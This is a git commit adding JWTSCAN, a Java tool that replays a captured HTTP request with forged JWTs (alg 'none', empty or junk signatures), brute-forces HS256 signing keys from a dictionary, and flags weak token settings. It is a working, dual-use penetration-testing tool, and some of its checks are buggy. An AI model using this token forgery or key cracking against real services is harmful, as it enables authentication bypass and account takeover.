This commit is contained in:
xiufengyue
2022-02-09 20:01:42 +08:00
parent 0acb709bc6
commit ee6d5d5680
24 changed files with 1240 additions and 1 deletions

BIN
JWTSCAN.jar Normal file

Binary file not shown.

View File

@@ -1,8 +1,8 @@
-r 要扫描的完整http请求包路径 指定-r 会发送请求校验安全问题
例:
GET /user/userinfo HTTP/1.1
Host: 127.0.0.1:8081
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0
-j 完整的jwt信息

83
pom.xml Normal file
View File

@@ -0,0 +1,83 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JWTSCAN</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.6</version>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.su.main</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<version>3.1.2</version>
<executions>
<execution>
<id>copy-dependencies</id>
<phase>package</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<outputDirectory>${project.build.directory}/lib</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>3.3.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/io.jsonwebtoken/jjwt -->
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>0.9.0</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.74</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.codehaus.jackson/jackson-mapper-asl -->
<dependency>
<groupId>org.codehaus.jackson</groupId>
<artifactId>jackson-mapper-asl</artifactId>
<version>1.7.0</version>
</dependency>
</dependencies>
</project>

View File

@@ -0,0 +1,91 @@
package com.su.analysis;
import com.su.util.Regu;
import java.util.regex.Matcher;
public class Http_req_pars {
private String http_text;
private Boolean is_ssl;
public void setHttp_text(String http_text) {
this.http_text = http_text;
}
public Integer getPort() {
return port;
}
public void setPort(Integer port) {
this.port = port;
}
private Integer port;
private String host;
public String getHttp_text() {
return http_text;
}
public Jwt_pars getJwt_pars() {
return jwt_pars;
}
private Jwt_pars jwt_pars;
public Http_req_pars(String http_text) {
this.http_text=http_text;
}
public void jwt_pars() {
this.http_text=http_text;
String jwt_re1="(eyJ[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*)";
Matcher head_re=Regu.search(jwt_re1,http_text);
if (head_re!=null){
jwt_pars = new Jwt_pars(head_re.group(1));
}else {
String jwt_re2="(eyJ[A-Za-z0-9_\\/+-]*\\.[A-Za-z0-9._\\/+-]*)";
Matcher head_re2=Regu.search(jwt_re1,http_text);
if (head_re2!=null){
jwt_pars = new Jwt_pars(head_re2.group(1));
}else {
System.out.println("未匹配到jwt");
}
}
}
public void host_pars() {
String re = "Host:\\s(.*)";
Matcher host_re=Regu.search(re,http_text);
String[] h_p =host_re.group(1).replace(" ","").split(":");
if (h_p.length != 2){
setHost(h_p[0]);
setPort(0);
}else {
setHost(h_p[0]);
setPort(Integer.parseInt(h_p[1]));
}
}
public Boolean getIs_ssl() {
return is_ssl;
}
public void setIs_ssl(Boolean is_ssl) {
this.is_ssl = is_ssl;
}
public String getHost() {
return host;
}
public void setHost(String host) {
this.host = host;
}
}

View File

@@ -0,0 +1,50 @@
package com.su.analysis;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class Http_res_pars {
private String status_code;
private String body;
public String getStatus_code() {
return status_code;
}
public void setStatus_code(String status_code) {
this.status_code = status_code;
}
public String getBody() {
return body;
}
public void setBody(String body) {
this.body = body;
}
public Boolean res_pars(String text) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(text.getBytes()), Charset.forName("utf8")));
String line;
Boolean body_s =false;
String body="";
while((line = br.readLine())!= null){
if (!body_s){
if (line.equals("")){
body_s = true;
}
}else {
body += line;
}
}
setBody(body);
return null;
}
}

View File

@@ -0,0 +1,54 @@
package com.su.analysis;
public class Jwt_pars {
private String head;
private String payload;
private String secret;
private String jwt_text;
public Jwt_pars(String jwt_text) {
this.jwt_text = jwt_text;
String[] jwt_texts = jwt_text.split("\\.");
if (jwt_texts.length!=3){ return; }
this.head = jwt_texts[0];
this.payload = jwt_texts[1];
this.secret = jwt_texts[2];
}
public String getHead() {
return head;
}
public void setHead(String head) {
this.head = head;
}
public String getPayload() {
return payload;
}
public void setPayload(String payload) {
this.payload = payload;
}
public String getSecret() {
return secret;
}
public void setSecret(String secret) {
this.secret = secret;
}
public String getJwt_text() {
return jwt_text;
}
public void setJwt_text(String jwt_text) {
this.jwt_text = jwt_text;
}
}

View File

@@ -0,0 +1,160 @@
package com.su.defect;
import com.su.analysis.Http_req_pars;
import com.su.analysis.Jwt_pars;
import com.su.defect.brute_force.Jwt_blast_processing1;
import com.su.defect.brute_force.Key_enum;
import com.su.defect.config_defect.Algorithm_rs25;
import com.su.defect.config_defect.Config_head_None;
import com.su.defect.config_defect.F_config_defect;
import com.su.defect.config_defect.JWT_miss_exp;
import com.su.defect.vulnerability.F_vulnerability;
import com.su.defect.vulnerability.None_token;
import com.su.defect.vulnerability.Null_encryption;
import com.su.util.File_Utils;
import com.su.util.Socket_http_utility;
import sun.misc.BASE64Decoder;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Semaphore;
public class D_Loader {
List<F_vulnerability> vulnerabilities = new ArrayList<>();
List<F_config_defect> f_config_defects= new ArrayList<>();
private Integer thead_num=30;
public Integer getThead_num() {
return thead_num;
}
public void setThead_num(Integer thead_num) {
this.thead_num = thead_num;
}
public String getDictionarie_file() {
return dictionarie_file;
}
public void setDictionarie_file(String dictionarie_file) {
this.dictionarie_file = dictionarie_file;
}
private String dictionarie_file="";
public D_Loader() {
F_vulnerability none_token = new None_token();
F_vulnerability null_encryption =new Null_encryption();
vulnerabilities.add(none_token);
vulnerabilities.add(null_encryption);
F_config_defect config_None =new Config_head_None();
F_config_defect jwt_miss_exp =new JWT_miss_exp();
F_config_defect algorithm_rs25 =new Algorithm_rs25();
f_config_defects.add(config_None);
f_config_defects.add(jwt_miss_exp);
f_config_defects.add(algorithm_rs25);
}
public void jwt_brute_jorce(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars){
Key_enum key_enum = new Key_enum(dictionarie_path,thead_num,jwt_pars);
key_enum.execute_();
}
public void c_dloder(Jwt_pars jwt_pars){
System.out.println("-------------------扫描jwt配置中可能存在的问题------------------");
for (F_config_defect f_config_defect:f_config_defects){
f_config_defect.setJwt_pars(jwt_pars);
Boolean res=f_config_defect.scan();
if (res){
System.out.println("+++++++++++++++++++++++++++++++++++++++++++++++++++++++");
System.out.println("存在配置危险 : "+f_config_defect.getV_name());
System.out.println("风险等级 : "+f_config_defect.getRisk_level());
System.out.println("存在配置危险描述 : "+ f_config_defect.getDescribe());
System.out.println("细节描述 "+ f_config_defect.getDetails());
System.out.println();
}
}
System.out.println("-------------------------------------------------------------");
}
public void v_loder( Http_req_pars http_req_pars) throws IOException {
http_req_pars.host_pars();
System.out.println("-------------------发送请求探测jwt漏洞---------------------");
//针对默认端口情况下的判断
if (http_req_pars.getPort()==0){
http_req_pars.setPort(443);
Boolean t_res = Socket_http_utility.if_is_https(http_req_pars);
if (t_res){
http_req_pars.setIs_ssl(true);
}else {
http_req_pars.setIs_ssl(false);
http_req_pars.setPort(80);
}
}else {
Boolean t_res =false;
t_res = Socket_http_utility.if_is_https(http_req_pars);
if (t_res){
http_req_pars.setIs_ssl(true);
}else {
http_req_pars.setIs_ssl(false);
}
}
for (F_vulnerability vulnerability:vulnerabilities){
vulnerability.setHttp_req_pars(http_req_pars);
Boolean res=vulnerability.scan();
if (res){
System.out.println("++++++++++++++++++++++++++++++++++++++++++++++++++++++");
System.out.println("存在漏洞 : "+vulnerability.getV_name());
System.out.println("风险等级 : "+vulnerability.getRisk_level());
System.out.println("漏洞描述 : "+ vulnerability.getDescribe());
System.out.println("细节描述 "+ vulnerability.getDetails());
System.out.println();
}
}
Jwt_pars jwt_pars= http_req_pars.getJwt_pars();
System.out.println("-------------------------------------------------------------");
}
public void b_loader(Jwt_pars jwt_pars){
if (dictionarie_file.equals("")){return;}
System.out.println("--------------------------当前爆破jwt密钥------------------------");
Jwt_blast_processing1.s = new Semaphore(thead_num);
if (dictionarie_file!=""){
jwt_brute_jorce(dictionarie_file,thead_num,jwt_pars);
}
}
public void jwt_de_info(Jwt_pars jwt_pars){
System.out.println("JWT 信息:::");
System.out.println(jwt_pars.getJwt_text());
BASE64Decoder decoder = new BASE64Decoder();
try {
byte[] headbytes = decoder.decodeBuffer(jwt_pars.getHead());
byte[] payloadytes = decoder.decodeBuffer(jwt_pars.getPayload());
System.out.println("JWT 信息解密:::");
System.out.println("jwt HEADER : "+new String(headbytes));
System.out.println("jwt PAYLOAD : "+new String(payloadytes));
} catch (IOException e) {
System.out.println("JWT 解密失败....");
System.exit(0);
e.printStackTrace();
}
}
}

View File

@@ -0,0 +1,54 @@
package com.su.defect;
public abstract class Defect {
private String v_name;
public String getV_name() {
return v_name;
}
public void setV_name(String v_name) {
this.v_name = v_name;
}
public String getDescribe() {
return describe;
}
public void setDescribe(String describe) {
this.describe = describe;
}
public String getDetails() {
return details;
}
public void setDetails(String details) {
this.details = details;
}
public String getRepair() {
return repair;
}
public void setRepair(String repair) {
this.repair = repair;
}
private String describe;
private String details;
private String repair;
private String risk_level;
public String getRisk_level() {
return risk_level;
}
public void setRisk_level(String risk_level) {
this.risk_level = risk_level;
}
public abstract Boolean scan();
}

View File

@@ -0,0 +1,34 @@
package com.su.defect.brute_force;
import com.su.analysis.Jwt_pars;
import com.su.util.En_utility;
public class JWT_blast{
private String text;
public String getKey() {
return key;
}
private String key;
private String secret;
public JWT_blast(String text, String key, String secret) {
this.text = text;
this.key = key;
this.secret = secret;
}
public Boolean Encryption_comparison(){
String t_secret=En_utility.en_hs256(this.text,this.key);
if (!t_secret.equals(this.secret)){
return false;
}
return true;
}
}

View File

@@ -0,0 +1,48 @@
package com.su.defect.brute_force;
import java.util.concurrent.Semaphore;
public class Jwt_blast_processing1 implements Runnable{
//当前并发线程数
public static Semaphore s;
public Jwt_blast_processing1(JWT_blast jwt_blast) {
this.jwt_blast = jwt_blast;
}
private JWT_blast jwt_blast;
//判断是否成功
private Boolean j_result=false;
public static String sec="";
public static Boolean success=false;
@Override
public void run() {
try {
s.acquire();
Boolean res = jwt_blast.Encryption_comparison();
if (res) {
sec = jwt_blast.getKey();
success = true;
}
s.release();
}catch (Exception e){
s.release();
}
}
public Boolean getJ_result() {
return j_result;
}
public void setJ_result(Boolean j_result) {
this.j_result = j_result;
}
}

View File

@@ -0,0 +1,59 @@
package com.su.defect.brute_force;
import com.su.analysis.Jwt_pars;
import com.su.util.File_Utils;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class Key_enum {
private String dictionarie_path;
private Integer thead_num;
private Jwt_pars jwt_pars;
public Key_enum(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars) {
this.dictionarie_path = dictionarie_path;
this.thead_num = thead_num;
this.jwt_pars = jwt_pars;
}
public void execute_(){
String jwt_e = jwt_pars.getHead()+"."+jwt_pars.getPayload();
List<String> keys = File_Utils.lines_read_array(dictionarie_path);
ExecutorService executorService = Executors.newCachedThreadPool();
for (String key: keys){
JWT_blast jwt_blast =new JWT_blast(jwt_e,key,jwt_pars.getSecret());
executorService.execute(new Jwt_blast_processing1(jwt_blast));
}
executorService.shutdown();
try {
while (true){
if(executorService.isTerminated()){
break;
}
if (Jwt_blast_processing1.success){
break;
}
}
if (Jwt_blast_processing1.success){
System.out.println("Key cracked successfully");
System.out.println("Key : "+Jwt_blast_processing1.sec);
}else {
System.out.println("Key cracking failed");
}
}catch (Exception e){
}
}
}

View File

@@ -0,0 +1,28 @@
package com.su.defect.config_defect;
import com.alibaba.fastjson.JSONObject;
import sun.misc.BASE64Decoder;
public class Algorithm_rs25 extends F_config_defect{
@Override
public Boolean scan() {
BASE64Decoder decoder = new BASE64Decoder();
try {
byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead());
JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
String alg =jsonObject.getString("alg");
if (!alg.equalsIgnoreCase("RS256")){return false; }
setDescribe("如果算法从rs256更改为hs256后端代码将使用公钥作为密钥然后使用hs256算法验证签名。由于攻击者有时可以获得公钥因此攻击者可以将标头中的算法修改为hs256然后使用RSA公钥对数据进行签名。");
setV_name("jwt配置中jwt head中的密钥类型为 RS256,");
setRisk_level("");
setDetails(new String(bytes)+"当前密钥类型为RS256");
}catch (Exception e){
return false;
}
return false;
}
}

View File

@@ -0,0 +1,32 @@
package com.su.defect.config_defect;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSONPath;
import sun.misc.BASE64Decoder;
import java.io.IOException;
public class Config_head_None extends F_config_defect{
@Override
public Boolean scan() {
BASE64Decoder decoder = new BASE64Decoder();
try {
byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead());
JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
String alg =jsonObject.getString("alg");
if (!alg.equalsIgnoreCase("none")){ return false; }
setDescribe("当前jwt配置中jwt head中的密钥类型为 none");
setV_name("jwt none密钥");
setRisk_level("");
setDetails(new String(bytes)+"可访问以有资源");
return true;
} catch (IOException e) {
return false;
}
}
}

View File

@@ -0,0 +1,21 @@
package com.su.defect.config_defect;
import com.su.analysis.Http_req_pars;
import com.su.analysis.Jwt_pars;
import com.su.defect.Defect;
public abstract class F_config_defect extends Defect {
public Jwt_pars getJwt_pars() {
return jwt_pars;
}
public void setJwt_pars(Jwt_pars jwt_pars) {
this.jwt_pars = jwt_pars;
}
private Jwt_pars jwt_pars;
@Override
public abstract Boolean scan();
}

View File

@@ -0,0 +1,39 @@
package com.su.defect.config_defect;
import com.alibaba.fastjson.JSONObject;
import sun.misc.BASE64Decoder;
import java.io.IOException;
public class JWT_miss_exp extends F_config_defect{
@Override
public Boolean scan() {
BASE64Decoder decoder = new BASE64Decoder();
try {
byte[] bytes = decoder.decodeBuffer(getJwt_pars().getPayload());
JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
if (jsonObject.containsKey("exp")){ return false; }
setV_name("JWT中未设置过期时间");
setRisk_level("");
setDescribe("当前JWT中未设置过期时间");
setDetails(new String(bytes));
return true;
}catch (Exception e){
return false;
}
}
public static void main(String[] args) throws IOException {
BASE64Decoder decoder = new BASE64Decoder();
JSONObject jsonObject = JSONObject.parseObject("{\"typ\":\"JWT\",\"alg\":\"HS256\"}");
if (jsonObject.containsKey("typ")){
System.out.println("1111111111111111111");
}
}
}

View File

@@ -0,0 +1,20 @@
package com.su.defect.vulnerability;
import com.su.analysis.Http_req_pars;
import com.su.defect.Defect;
public abstract class F_vulnerability extends Defect {
public Http_req_pars getHttp_req_pars() {
return http_req_pars;
}
public void setHttp_req_pars(Http_req_pars http_req_pars) {
this.http_req_pars = http_req_pars;
}
private Http_req_pars http_req_pars;
@Override
public abstract Boolean scan();
}

View File

@@ -0,0 +1,66 @@
package com.su.defect.vulnerability;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSONPath;
import com.su.analysis.Http_req_pars;
import com.su.analysis.Http_res_pars;
import com.su.analysis.Jwt_pars;
import com.su.util.Socket_http_utility;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
import java.util.ArrayList;
import java.util.List;
public class None_token extends F_vulnerability {
@Override
public Boolean scan() {
Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars();
BASE64Decoder decoder = new BASE64Decoder();
BASE64Encoder encoder =new BASE64Encoder();
try {
byte[] bytes = decoder.decodeBuffer(jwt_pars.getHead());
JSONObject jsonObject = JSONObject.parseObject(new String(bytes));
String alg =jsonObject.getString("alg");
JSONPath.set(jsonObject,"alg","none");
String jsonStr = JSONObject.toJSONString(jsonObject);
String n_head = encoder.encode(jsonStr.getBytes());
Http_res_pars http_res_pars=Socket_http_utility.send_s_http2(getHttp_req_pars());
String y_body = http_res_pars.getBody();
String y_http_ = getHttp_req_pars().getHttp_text();
String y_jwt = jwt_pars.getJwt_text();
List<String> none_jwts = new ArrayList<>();
none_jwts.add(n_head+"."+jwt_pars.getPayload()+".");
none_jwts.add(n_head+"."+jwt_pars.getPayload());
none_jwts.add(n_head+"."+jwt_pars.getPayload()+".21j32j13j2hgfg12g3h213h2gh3g21h1cvvowie1");
for (String node_jwt:none_jwts){
String node_http_= y_http_.replace(y_jwt,node_jwt);
getHttp_req_pars().setHttp_text(node_http_);
Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars());
String node_body = http_res_pars_no.getBody();
if (node_body.equals(y_body)){
setDescribe("可设置jwt head中的密钥类型为 none 可以绕过密钥限制");
setV_name("可设置 jwt none密钥");
setDetails(n_head+"可访问以有资源");
setRisk_level("");
return true;
}
}
}catch (Exception e){
}
return false;
}
}

View File

@@ -0,0 +1,46 @@
package com.su.defect.vulnerability;
import com.su.analysis.Http_req_pars;
import com.su.analysis.Http_res_pars;
import com.su.analysis.Jwt_pars;
import com.su.util.Socket_http_utility;
import java.util.ArrayList;
import java.util.List;
public class Null_encryption extends F_vulnerability{
@Override
public Boolean scan() {
Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars();
try {
Http_res_pars http_res_pars= Socket_http_utility.send_s_http2(getHttp_req_pars());
String y_body = http_res_pars.getBody();
String y_http_ = getHttp_req_pars().getHttp_text();
List<String> nullen_jwts = new ArrayList<>();
nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+".");
nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload());
nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+"."+"sadusaidyuy127y72hjhwqkjehwqe");
for (String nullen_jwt:nullen_jwts){
String node_http_= y_http_.replace(nullen_jwt,jwt_pars.getJwt_text());
getHttp_req_pars().setHttp_text(node_http_);
Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars());
String nullbody=http_res_pars_no.getBody();
if (y_body.equals(nullbody)){
setDescribe("空加密算法");
setV_name("不校验jwt中的密钥信息");
setDetails("密钥信息可至空");
setRisk_level("");
return true;
}
}
return false;
}catch (Exception e){
return false;
}
}
}

View File

@@ -0,0 +1,84 @@
package com.su;
import com.su.analysis.Http_req_pars;
import com.su.analysis.Jwt_pars;
import com.su.defect.D_Loader;
import com.su.defect.brute_force.Key_enum;
import com.su.util.File_Utils;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class main {
public static void main(String[] args) throws Exception {
if (args.length == 0) {
printUsage();
System.exit(1);
}
String file_path="";
String jwt="";
String dictionarie_file="";
Integer thead_num=30;
int argIndex = 0;
while (argIndex < args.length) {
String arg = args[argIndex];
if (arg.equals("-r")) {
file_path = args[argIndex+1];
}else if (arg.equals("-j")){
jwt = args[argIndex+1];
}else if (arg.equals("-d")){
dictionarie_file = args[argIndex+1];
}else if (arg.equals("-t")){
thead_num = Integer.parseInt(args[argIndex+1]);
}
argIndex++;
}
D_Loader d_loader= new D_Loader();
d_loader.setDictionarie_file(dictionarie_file);
d_loader.setThead_num(thead_num);
if (jwt!=""){
Jwt_pars jwt_pars=new Jwt_pars(jwt);
d_loader.jwt_de_info(jwt_pars);
d_loader.c_dloder(jwt_pars);
d_loader.b_loader(jwt_pars);
}else if (file_path!=""){
String text = File_Utils.lines_read(file_path);
Http_req_pars http_req_pars =new Http_req_pars(text);
http_req_pars.jwt_pars();
Jwt_pars jwt_pars=http_req_pars.getJwt_pars();
d_loader.jwt_de_info(jwt_pars);
d_loader.v_loder(http_req_pars);
d_loader.c_dloder(jwt_pars);
d_loader.b_loader(jwt_pars);
}
}
private static void printUsage() {
System.out.println("-r : specifies the path of the complete HTTP request package to be scanned, - r will send a request to verify the security problem\n" +
"Example:\n" +
"GET /user/userinfo HTTP/1.1\n" +
"Host: 127.0.0.1:8081\n" +
"Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0\n" +
"\n" +
"-j : complete JWT information\n" +
"\n" +
"-d : specifies the JWT secret key explosion dictionary. If it is not specified, brute force cracking will not be performed\n" +
"\n" +
"-t JWT the number of threads for key blasting is 30 by default"+
"\n" +
"Two scanning modes are provided\n" +
"Example:\n" +
"java - jar JWTSCAN.jar -r Original_request.txt -d Key_dictionary.txt\n" +
"java - jar JWTSCAN.jar jjwt-1.0-SNAPSHOT.jar -j eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0 -d Key_dictionary.txt");
}
}

View File

@@ -0,0 +1,27 @@
package com.su;
import io.jsonwebtoken.*;
import io.jsonwebtoken.impl.crypto.DefaultJwtSigner;
import io.jsonwebtoken.impl.crypto.JwtSigner;
import javax.crypto.spec.SecretKeySpec;
import java.security.Key;
import java.util.HashMap;
import java.util.Map;
/**
* JWT_HS256生成签名和解密的Demo
* @time 2019-12-11 18:40
*/
public class text {
/**
* JWT算法HS256测试
* @Time 2019/12/6 18:22
* @Param
* @Return: void
*/
public static void main(String[] args) {
System.out.println("G1ZmDAmq3fAXeK-HB9gnvCXr0RSTE-I358wGyNdfZ14".length());
}
}

View File

@@ -0,0 +1,18 @@
package com.su.util;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.crypto.DefaultJwtSigner;
import io.jsonwebtoken.impl.crypto.JwtSigner;
import javax.crypto.spec.SecretKeySpec;
import java.security.Key;
public class En_utility {
public static String en_hs256(String text,String key){
Key KEY = new SecretKeySpec(key.getBytes(),
SignatureAlgorithm.HS256.getJcaName());
JwtSigner signer = new DefaultJwtSigner(SignatureAlgorithm.HS256, KEY);
String base64UrlSignature = signer.sign(text);
return base64UrlSignature;
}
}

View File

@@ -0,0 +1,78 @@
package com.su.util;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
public class File_Utils {
public static String lines_read(String fileName){
File file = new File(fileName);
String filevalue="";
BufferedReader reader = null;
try {
reader = new BufferedReader(new FileReader(file));
String tempString = null;
int line = 1;
// 一次读入一行直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
filevalue+=tempString+"\r\n";
line++;
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e1) {
}
}
}
return filevalue;
}
public static List<String> lines_read_array(String fileName){
List<String> texts = new ArrayList<>();
File file = new File(fileName);
BufferedReader reader = null;
try {
reader = new BufferedReader(new FileReader(file));
String tempString = null;
int line = 1;
// 一次读入一行直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
texts.add(tempString);
line++;
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e1) {
}
}
}
return texts;
}
public static InputStream get_FileInputStream(String path) throws FileNotFoundException {
InputStream is = new FileInputStream(new File(path));
return is;
}
}

View File

@@ -0,0 +1,60 @@
package com.su.util;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Regu {
public static String search1(String reg,String str){
Matcher matcher=search(reg,str);
return matcher.group(1);
}
public static Matcher search(String reg,String str){
Pattern pattern = Pattern.compile(reg);
Matcher matcher = pattern.matcher(str);
if( matcher.find() ){
return matcher;
}else{
//err
System.out.println("未匹配正则");
return null;
}
}
public static List<String> searchall(String reg,String str){
List<String> matcherList = new ArrayList<>();
Pattern pattern = Pattern.compile(reg);
Matcher matcher = pattern.matcher(str);
while (matcher.find()) { //此处find每次被调用后会偏移到下一个匹配
try {
matcherList.add(matcher.group(1));//获取当前匹配的值
}catch (IndexOutOfBoundsException e){
System.out.println(e.getMessage());
}
}
return matcherList;
}
public static String btch_replacement(String[] tagets,String rep,String str){
for(String t:tagets){
str=str.replace(t,rep);
}
return str;
}
public static void main(String[] args) {
Matcher matcher=Regu.search("\\$\\{(.*?)\\}","${spring.version}");
System.out.println( matcher.group(1));
}
}

View File

@@ -0,0 +1,87 @@
package com.su.util;
import com.su.analysis.Http_req_pars;
import com.su.analysis.Http_res_pars;
import javax.net.ssl.SSLException;
import javax.net.ssl.SSLHandshakeException;
import javax.net.ssl.SSLSocket;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.*;
public class Socket_http_utility {
public static Boolean if_is_https(Http_req_pars http_req_pars) throws IOException {
String host = http_req_pars.getHost();
Integer port = http_req_pars.getPort();
OutputStreamWriter streamWriter = null;
BufferedWriter bufferedWriter = null;
Socket socket = null;
try {
socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port);
streamWriter = new OutputStreamWriter(socket.getOutputStream());
bufferedWriter = new BufferedWriter(streamWriter);
bufferedWriter.write("POST / HTTP/1.1\r\n");
bufferedWriter.flush();
return true;
}catch (SSLHandshakeException e){
bufferedWriter.close();
socket.close();
return false;
}catch (ConnectException e){
return false;
}catch (SSLException e){
bufferedWriter.close();
socket.close();
return false;
}
}
public static Http_res_pars send_s_http2(Http_req_pars http_req_pars) throws IOException {
Socket socket;
String host = http_req_pars.getHost();
Integer port = http_req_pars.getPort();
String http_= http_req_pars.getHttp_text();
Boolean is_https = http_req_pars.getIs_ssl();
if (is_https){
socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port);
}else {
socket = new Socket(host, port);
}
OutputStreamWriter streamWriter = new OutputStreamWriter(socket.getOutputStream(), "utf-8");
BufferedWriter bufferedWriter = new BufferedWriter(streamWriter);
String[] http_s=http_.split("\r\n");
for(String h_line:http_s){
if (h_line.contains("Accept-Encoding: ")){ continue;}
bufferedWriter.write(h_line+"\r\n");
}
bufferedWriter.write("Content-Type: application/x-www-form-urlencoded\r\n");
bufferedWriter.write("\r\n");
bufferedWriter.write("\r\n");
bufferedWriter.flush();
BufferedInputStream streamReader = new BufferedInputStream(socket.getInputStream());
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(streamReader, "utf-8"));
String res_text="";
String line = null;
while((line = bufferedReader.readLine())!= null)
{
res_text += line+"\r\n";
}
bufferedReader.close();
bufferedWriter.close();
socket.close();
Http_res_pars http_res_pars =new Http_res_pars();
http_res_pars.res_pars(res_text);
return http_res_pars;
}
public static void main(String[] args) {
}
}